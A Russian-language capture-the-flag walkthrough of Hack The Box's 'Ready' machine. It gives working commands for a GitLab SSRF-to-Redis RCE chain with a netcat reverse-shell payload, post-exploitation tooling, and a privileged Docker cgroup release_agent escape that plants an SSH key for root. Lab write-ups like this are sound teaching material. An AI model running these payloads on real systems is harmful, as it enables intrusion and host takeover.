Хакер - HTB Ready. Эксплуатируем дыру в GitLab и совершаем побег из Docker
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Закрепление
- Продвижение
- Локальное повышение привилегий: побег из Docker
В этой статье мы разберем целую цепочку уязвимостей, которая даст нам выполнение произвольного кода в GitLab — популярнейшем опенсорсном аналоге GitHub. Затем устроим побег из контейнера Docker, чтобы получить контроль над хостом. Все это — на примере решения машины Ready с площадки Hack The Box. Поехали!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Адрес машины — 10.10.10.202, смело кидаем его в /etc/hosts, чтобы писать вместо этого ready.htb.
10.10.10.202 ready.htb
И конечно, сканируем порты в поисках интересных вещей.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Видим два открытых порта: 22 (служба SSH) и 5080 (веб‑сервер nginx). На SSH мы пойдем стучаться, когда у нас будут какие‑нибудь учетные данные, поэтому начнем с nginx. Скрипт, приведенный выше, любезно предоставил нам информацию из поля http-title, благодаря которой мы сразу определяем используемую технологию — GitLab.
GitLab — это система управления репозиториями кода на основе Git с собственной вики, системой отслеживания ошибок и другими функциями. Отличная штука, но, как и в любом популярном проекте, в нем время от времени находят дыры. Наша цель сейчас — узнать, какие именно из них будут нам доступны.

У нас есть возможность зарегистрироваться, сразу сделаем это, чтобы получить доступ к большему числу функций, чем предоставляется для гостей. В первую очередь нам нужно узнать версию продукта и поискать информацию или отчеты об уже найденных уязвимостях, а возможно, и готовые эксплоиты. Обычно версию можно узнать на страницах вроде About или Help. Заодно не забываем пройтись и по другим разделам — в поисках ценной информации вроде имен пользователей и подобных вещей.
ТОЧКА ВХОДА
На странице Help находим версию продукта — 11.4.7.

Вполне вероятно, что для такого популярного продукта в Exploit DB найдутся готовые уязвимости. Если ты используешь Kali Linux или другой хакерский дистр, то, скорее всего, можешь просто написать команду searchsploit:
searchsploit gitlab 11.4.7
searchsploit -p ruby/webapps/49334.py


INFO
В реальных условиях лучше использовать Google, чтобы искать по всем доступным исследованиям и отчетам, включая самые новые.
Так мы узнаем об уязвимости, которая может предоставить удаленное выполнение кода (RCE). Также получаем ее идентификатор (2018-19571 и 2018-19585) в базе данных общеизвестных уязвимостей информационной безопасности (CVE).
INFO
Об эксплуатациях уязвимостей в GitLab читай также в статьях «HTB Laboratory. Взламываем GitLab и учимся перехватывать пути в Linux» и «Читай и выполняй. Как работает эксплоит новой уязвимости в GitLab».
ЗАКРЕПЛЕНИЕ
Найденный нами эксплоит использует цепочку уязвимостей. Сначала идет обычный блок кода, авторизующий нового пользователя.

Затем эксплуатируется уязвимость SSRF в функции создания нового проекта при импорте репозитория по URL. Это позволяет нам обращаться к локальному серверу Redis, который работает на порте 6379. Так как при этом «запросы к локальному хосту не разрешены», для обхода используется специальный адрес IPv6: [0:0:0:0:0:ffff:127.0.0.1]:6379.

Redis — резидентная система управления базами данных класса NoSQL с открытым исходным кодом, работающая со структурами данных типа «ключ — значение». Она часто используется и в роли СУБД, и для реализации кешей и брокеров сообщений. GitLab использует его по‑разному, например для хранения данных сеанса, кеширования и даже для хранения очереди фоновых заданий.
Так как Redis использует простой текстовый протокол, мы можем спокойно работать с ним напрямую, не соблюдая никаких спецификаций. Так как есть возможность взаимодействовать с Redis через SSRF, становится возможным получение удаленного выполнения кода (RCE).
Дело в том, что Redis также можно использовать для фоновых очередей заданий, которые обрабатываются с помощью Sidekiq — планировщика заданий с открытым исходным кодом, написанным на Ruby. В представленной нагрузке, которая отправляется Redis, используются вложенные запросы, и нагрузка становится похожа на гаджет. Так, в эксплоите функция system_hook_push используется для обработки новых заданий, а класс GitlabShellWorker (из файла gitlab_shell_worker.rb) вызывается с такими аргументами, как class_eval, а дальше — команда, которую нужно выполнить.
В исходном эксплоите выполняется вот такая команда:
open('|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ ').read)
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1608799993.1234567,\"enqueued_at\":1608799993.1234567}"
exec
exec
exec
Я изменил выполняемую команду на статически заданный шелл: 'nc -e /bin/bash [local_ip] [local_port] '.


Наш код должен вызвать коннект на указанные адрес (локальный IP) и порт. Но чтобы отловить это подключение, нам сначала нужно позаботиться о другой стороне и создать листенер.
INFO
Я советую использовать утилиту rlwrap — это удобная оболочка с историей команд. В качестве самого листенера я использую netcat.
При простом запуске эксплоита узнаем необходимые параметры, такие как логин и пароль, URL GitLab, а также адрес локального хоста и локальный порт для подключения (они неважны, так как мы указали их в нагрузке статически).
apt install rlwrap
rlwrap nc -lvp [port]

В окне листенера netcat получаем бэкконект в контексте пользователя git.

ПРОДВИЖЕНИЕ
Мы получили доступ к хосту, и следующий шаг — это сбор информации. Источников может быть много, все не упомнишь, и дело значительно ускоряют скрипты PEASS. Они автоматически прошерстят систему и даже подсветят информацию, на которую стоит обратить внимание. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
С помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Из вывода LinPEAS мы узнаем важный факт: мы работаем внутри контейнера Docker. Также обращаем внимание на существование каталога /opt/backup/.


Мы находим два файла, связанных с GitLab. Можно просто смотреть их (как это делал я), а можно и грепнуть разные слова, вроде pass, token, secret. Результат будет один — мы найдем еще один пароль, который можно попытаться использовать далее.

Первое, что приходит на ум после такой находки, — это смена пользователя, но, чтобы ее выполнить, нам нужно получить интерактивную оболочку. Есть несколько способов, как это можно сделать, но если на машине присутствует интерпретатор Python 3, то достаточно всего лишь двух строк кода, которые мы напишем прямо в командной строке:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Теперь просто меняем пользователя при помощи su. Затем находим в Docker одного пользователя, у которого и забираем флаг.


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ: ПОБЕГ ИЗ DOCKER
Итак, у нас есть рут, но рут в контейнере. Можно снова запускать скрипт типа LinPEAS, но в случае с Docker советую использовать другой скрипт для разведки — Deepce. Он проводит необходимые проверки в поисках пути повышения привилегий или побега из Docker и даже проверяет некоторые эксплоиты. Загрузим Deepce через уже запущенный локальный веб‑сервер на удаленный контейнер.
wget http://[ip_локального_хоста]:8000/deepce.sh
chmod +x deepce.sh
./deepce.sh

В выводе скрипт сообщает, что Docker запущен в привилегированном режиме и мы можем повысить привилегии на основном хосте, выйдя из контейнера. Даже ссылку на инструкцию дают! Привилегированные контейнеры запускаются с флагом --privileged и имеют root-доступ к основному хосту.

По ссылке получаем целый PoC и еще две ссылки на связанные материалы, в том числе и на Exploit DB.

В основе этого эксплоита лежат контрольные группы (cgroup). Именно cgroup помогает изолировать использование ресурсов, за счет чего и производится изоляция контейнеров. После завершения последнего процесса в cgroup выполняется команда, которая удаляет прекратившие работу контрольные группы. Команда указана в файле release_agent и выполняется от имени пользователя root на основном хосте — это и есть путь к повышению привилегий.
Самое опасное, что для нас открывает флаг --privileged, — это команда mount. Сначала мы создаем новый каталог /tmp/cgrp, монтируем контроллер контрольной группы RDMA и создаем дочернюю контрольную группу (в данном случае x):
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Затем происходит активация функции release_agent, так как по умолчанию она неактивна.
echo 1 > /tmp/cgrp/x/notify_on_release
И наконец, прописывается путь к самому release_agent.
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
В следующем блоке кода записываются выполняемые на основном хосте команды и дается право на исполнение. В отличие от исходного эксплоита, где происходит получение списка процессов, в наш эксплоит вставим команду записи публичного ключа SSH (генерируем командой ssh-keygen) в файл /root/.ssh/authorized_keys.
echo '#!/bin/sh' > /cmd
echo "echo 'ssh rsa AAAA...' > /root/.ssh/authorized_keys" >> /cmd
chmod a+x /cmd
Наконец мы можем выполнить атаку, запустив процесс, который немедленно завершится внутри дочерней контрольной группы x. Создав процесс и записав его PID в файл cgroup.procs в каталог дочерней контрольной группы x, мы инициируем выполнение сценария /cmd на основном хосте.
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

В результате выполнения этого кода наш публичный ключ SSH будет записан на удаленном хосте, что дает нам возможность подключиться от имени root.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei